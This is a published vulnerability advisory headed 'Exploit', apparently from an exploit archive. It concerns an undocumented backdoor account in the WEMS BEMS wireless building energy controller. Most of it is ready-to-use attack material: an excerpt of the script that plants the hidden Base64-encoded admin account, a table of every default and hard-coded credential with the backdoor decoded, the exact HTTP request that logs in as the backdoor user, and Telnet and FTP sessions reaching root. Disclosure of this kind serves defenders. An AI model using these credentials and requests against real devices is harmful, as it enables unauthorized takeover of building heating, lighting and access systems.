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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit: WEMS BEMS 21.3.1 - Undocumented Backdoor Account
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: WEMS Limited
# Product web page: https://www.wems.co.uk
# Advisory ID: ZSL-2019-5552
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php

WEMS BEMS 21.3.1 Undocumented Backdoor Account


Vendor: WEMS Limited
Product web page: https://www.wems.co.uk
Affected version: Web: 21.3.1
                  Web: 20.0beta
                  Web: 19.5
                  Web: 18.4
                  Firmware: 1.26.6 (OS: 5.3)
                  Firmware: 1.23.7 (OS: 5.0)
                  Firmware: 1.21.4 (OS: 4.1a-usb)
                  Firmware: 1.18.0.3 (OS: i686-1.1)
Platform: Shockwave Flash (SWF) / CGI

Summary: We (WEMS) offer the world's first fully wireless energy management system.
Our solution enables your organization to take control of its energy costs, by monitoring
lighting, heating and air conditioning equipment to identify wastage across multiple
sites and start saving money instantly. Additionally, we offer a service which enables
you to personally control the settings of your building - remotely, via text messaging
and the internet - from wherever you happen to be in the world.

Desc: The wireless BMS solution has an undocumented backdoor account that is Base64-encoded.
These sets of credentials are never exposed to the end-user and cannot be changed through
any normal operation of the controller thru the RMI. Attacker could exploit this vulnerability
by logging in using the backdoor account with highest privileges for administration and gain
full system control. The check_users.sh Bash script is used to generate the default accounts
on the system with their passwords and privilege level. The backdoor user cannot be seen in
the users settings in the admin panel and it also uses an undocumented privilege level 3 when
using the addhttpuser program which allows full availability of the features that the WEMS
is offering remotely. WEMS also ships with hard-coded and weak credentials for Telnet/FTP
access using the credentials gast:glasshou or root:glasshou.

Tested on: Linux 2.6.16 armv5tejl
           thttpd/2.25b
           Adam 7000 System
           WEMS OS 5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5552
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php


06.07.2019

--


Excerpt content of check_users.sh bash script:
----------------------------------------------

# cat /tmp/check_users.sh
...
...
if [ -n "${varSystem}" ];then
  #add 'V.A.R.' user credentials
  /mnt/bin/addhttpuser -u var -p 88fRK66Q -l 2 > /dev/null
  /mnt/bin/addhttpuser -u varuser -p user -l 1 > /dev/null
  /mnt/bin/addhttpuser -u varview -p view -l 0 > /dev/null
else
  #add 'wems' user credentials
  /mnt/bin/addhttpuser -u wems -p kup5EF4s -l 2 > /dev/null
  /mnt/bin/addhttpuser -u wemsuser -p user -l 1 > /dev/null
  /mnt/bin/addhttpuser -u wemsview -p view -l 0 > /dev/null
fi

echo "Adding logging user credentials..."
/mnt/bin/addhttpuser -u YWRhbWNvbGxlY3Q -p YzAxMTNjdGFkYW0K -l 3 > /dev/null

# Verify user added successfully...
if [ "$?" -eq "255" ]
then
        echo "Error when adding logging user credentials - aborting.."
        cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
        exit
fi

veri_user=`grep -e 'YWRhbWNvbGxlY3Q' /mnt/etc/httpusers`

if [ -n "$veri_user" ]
then
        echo "User credentials added successfully."
        cp -p /mnt/etc/httpusers /mnt/etc/httpusers.default
        exit
else
        echo "Error when adding user credentials - restoring defaults."
        cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
fi
----------------------------------------------


Default and hard-coded credentials:
-----------------------------------

WEMS:
 
 [Level 2/Admin - Web/SWF->CGI]     : wems:kup5EF4s
 [Level 1/User - Web/SWF->CGI]      : wemsuser:user
 [Level 0/View - Web/SWF->CGI]      : wemsview:view
 [Level 3/Backdoor - Web/SWF->CGI]  : YWRhbWNvbGxlY3Q:YzAxMTNjdGFkYW0K (adamcollect:c0113ctadam)

V.A.R. (Value Added Reseller):

 [Level 2/Admin - Web/SWF->CGI]     : var:88fRK66Q
 [Level 1/User - Web/SWF->CGI]      : varuser:user
 [Level 0/View - Web/SWF->CGI]      : varview:view

Shell:

 [Level 500/User - Telnet/FTP]      : gast:glasshou
 [Level 0/root - Telnet/FTP]        : root:glasshou
-----------------------------------


By calling the auth command through the cmd parameter, the cgiauth binary
reads the /mnt/etc/httpusers file and checks validation for authentication.
To login with the backdoor account the following HTTP GET request is made:
--------------------------------------------------------------------------

GET /cgi-bin/cgiauth?user=YWRhbWNvbGxlY3Q&pass=YzAxMTNjdGFkYW0K&cmd=auth HTTP/1.1
Host: 192.168.1.17
User-Agent: Noproblem/25.1
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.17/SMARThome1.swf

Response observed:

HTTP/1.1 200 OK
content-type: text/html
Transfer-Encoding: chunked
Date: Fri, 13 Sep 2019 18:15:17 GMT
Server: WEMS OS 5.0 Casino

sessionid=EQhaZPEXgJQhkXeZ&level=3&username=YWRhbWNvbGxlY3Q


--------------------------------------------------------------------------


Running addhttpuser, reading httpusers file:
--------------------------------------------

# /mnt/bin/addhttpuser
Usage is -u <username> -p <password> -l <level>
# cat /mnt/etc/httpusers
0:wems:$1$3EVBJ96F$RBX7xggVT8.zXM9vDbGWB/:2
1:wemsuser:$1$3EVBJA6F$Gr6zU7L0n4OPq7YdCM5.b1:1
2:wemsview:$1$3EVBJB6F$6XtYBc2VaQYucRe2T7lfa.:0
3:YWRhbWNvbGxlY3Q:$1$3EVBJD6F$scO5furQud3eKLHpNyUyo.:3
# ls -al /mnt/bin/addhttpuser
-rwxr-xr-x    1 root     root        16520 Jan 29  2014 /mnt/bin/addhttpuser
--------------------------------------------


Root shell:
-----------

$ telnet 192.168.1.17
Connected to 192.168.1.17.
Escape character is '^]'.

- Adam 7000 System - Version 4.1a-usb -

WEMS login: gast
Password: 


BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ id
uid=500(gast) gid=500
$ su
Password: 


BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
-----------


$ ftp 192.168.1.17
WEMS FTP server (Version wu-2.6.2(12) Thu Feb 24 14:48:47 GMT 2011) ready.
user root
331 Password required for root.
pass glasshou
230 User root logged in.